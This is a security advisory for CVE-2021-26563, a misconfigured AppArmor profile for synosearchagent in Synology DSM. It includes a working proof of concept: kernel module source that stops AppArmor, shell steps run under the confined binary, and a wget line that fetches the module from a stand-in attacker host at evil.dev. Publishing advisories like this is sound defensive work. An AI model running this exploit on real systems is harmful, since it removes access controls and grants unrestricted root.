CVE-2021-26563
A misconfiguration exists in AppArmor’s synosearchagent profile of Synology DSM 6.2.3 25426 DS120j. A specially crafted kernel module can be loaded, leading to a bypass of AppArmor’s restrictions. An attacker can use insmod to trigger this vulnerability.
Synology DSM 6.2.3 25426-2 DS120j
https://www.synology.com/en-global/dsm
6.7 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-284 - Improper Access Control
Synology DiskStation Manager (DSM) is the Linux-based operating system for every Synology NAS.
Synology DSM uses AppArmor to restrict applications’ capabilities within their OS.
The majority of the services in DSM are running as UID 0 (root):
# ps -o pid,user,ucmd -U 0|grep -e syno -e nginx
2644 root synologaccd
2745 root synoconfd
2754 root synonetd
3651 root synologrotated
4873 root synologand
4876 root synocrond
4975 root synostoraged
4977 root synostoraged
4980 root synostoraged
5229 root synobackupd
6606 root synoscgi_______
6630 root synosnmpcd
6651 root synocgid
6659 root synoagentregist
6923 system synoscgi_______
6925 system synoscgi_______
6926 system synoscgi_______
6927 system synoscgi_______
6930 system synoscgi_______
7050 root nginx
7692 root synodisklatency
7714 root synorelayd
8443 root synoelasticd
Since these services are restricted via AppArmor, it is interesting to analyze their profile:
# aa-status
apparmor module is loaded.
139 profiles are loaded.
132 profiles are in enforce mode.
/usr/bin/httpd
/usr/bin/ldapsearch
/usr/bin/nginx
/usr/sbin/avahi-daemon
/usr/sbin/dhclient
/usr/sbin/dmidecode
/usr/sbin/idmapd
/usr/sbin/mountd
/usr/sbin/rpcbind
/usr/sbin/statd
...
10 processes are in enforce mode.
/usr/sbin/avahi-daemon (8340)
/usr/sbin/dhclient (4544)
/usr/sbin/dhclient (4670)
/usr/syno/bin/synosearchagent (6520) [1]
/usr/syno/sbin/synoscgi (6438)
/usr/syno/sbin/synoscgi (6891)
/usr/syno/sbin/synoscgi (6895)
/usr/syno/sbin/synoscgi (6896)
/usr/syno/sbin/synoscgi (6897)
/usr/syno/sbin/synoscgi (6898)
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
One of the confined processes is synosearchagent [1], which was the subject of a previous issue described in TALOS-2020-1159
Unfortunately, if we want to check the profile assigned to this binary, we’re left with just the cache entry, which is a compiled version of the profile:
# grep -r synosearchagent /etc/apparmor.d
Binary file /etc/apparmor.d/cache/usr.syno.bin.synosearchagent matches
/etc/apparmor.d/abstractions/synoscgi:/usr/syno/bin/synosearchagent px,
The binary profiles are sent directly to the AppArmor kernel interface, and lack a notable amount of information compared to the original plaintext profile. As it was discussed in an https://gitlab.com/apparmor/apparmor/-/issues/57, a decompilation tool is not publicly available and would require a considerable effort to implement. For this reason, we analyzed the profile manually, by executing a shell that runs with the same restrictions imposed by synosearchagent (this is equivalent to being able to execute code as synosearchagent, as demonstrated in TALOS-2020-1159):
# cd /usr/syno/bin
# mv synosearchagent synosearchagent.orig
# cp /bin/bash synosearchagent
# ./synosearchagent
synosearchagent-4.3# id
uid=0(root) gid=0(root) groups=0(root),2(daemon),19(log)
synosearchagent-4.3# ls /
ls: cannot open directory /: Permission denied
synosearchagent-4.3# dmesg | tail -n 1
[27081.032234] audit: type=1400 audit(1601068479.296:634): apparmor="DENIED" operation="open" profile="/usr/syno/bin/synosearchagent" name="/" pid=25225 comm="ls" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
As we can see, opening the root directory is restricted by the AppArmor profile.
However, we found that the profile allows for loading and removing kernel modules, for example by running insmod:
synosearchagent-4.3# lsmod|grep hfsplus
synosearchagent-4.3# insmod /usr/lib/modules/hfsplus.ko
synosearchagent-4.3# lsmod|grep hfsplus
hfsplus 100863 0
This is equivalent to having kernel code execution, hence it’s possible to disable AppArmor and bypass all the restrictions imposed by the profile.
Thus, an attacker able to execute code as root in synosearchagent (for example by exploiting TALOS-2020-1159) can then use the issue described in this advisory to gain unrestricted root privileges in DSM.
The following proof-of-concept shows how to disable AppArmor in DSM from a restricted synosearchagent profile:
An attacker could compile the following module (“aastop.ko”) that executes apparmor.sh stop, which is a startup script that can be used to manage AppArmor.
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kmod.h>
int init_module(void) {
char * envp[] = { "HOME=/", NULL };
char * argv[] = { "/bin/bash", "/usr/syno/etc.defaults/rc.sysv/apparmor.sh", "stop", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
printk(KERN_INFO "Executed.\n");
return 0;
}
Next the attacker can download and insert the module (assuming it’s running code in the synosearchagent process:
synosearchagent-4.3# ls / [1]
ls: cannot open directory /: Permission denied
synosearchagent-4.3# wget http://evil.dev/aastop.ko -O /tmp/aastop.ko
synosearchagent-4.3# insmod /tmp/aastop.ko
synosearchagent-4.3# dmesg|tail -n1
[27363.832373] Executed.
synosearchagent-4.3# ls / [2]
bin dev etc.defaults lib lib64 mnt root sbin tmp usr var.defaults
config etc initrd lib32 lost+found proc run sys tmpRoot var volume1
synosearchagent-4.3# aa-status
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode.
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
As we can see the we now have permission to access the root directory and all AppArmor profiles have been unloaded.
2020-09-29 - Vendor Disclosure
2021-02-25 - Vendor Patched
Discovered by Claudio Bozzato and Lilith >_> of Cisco Talos.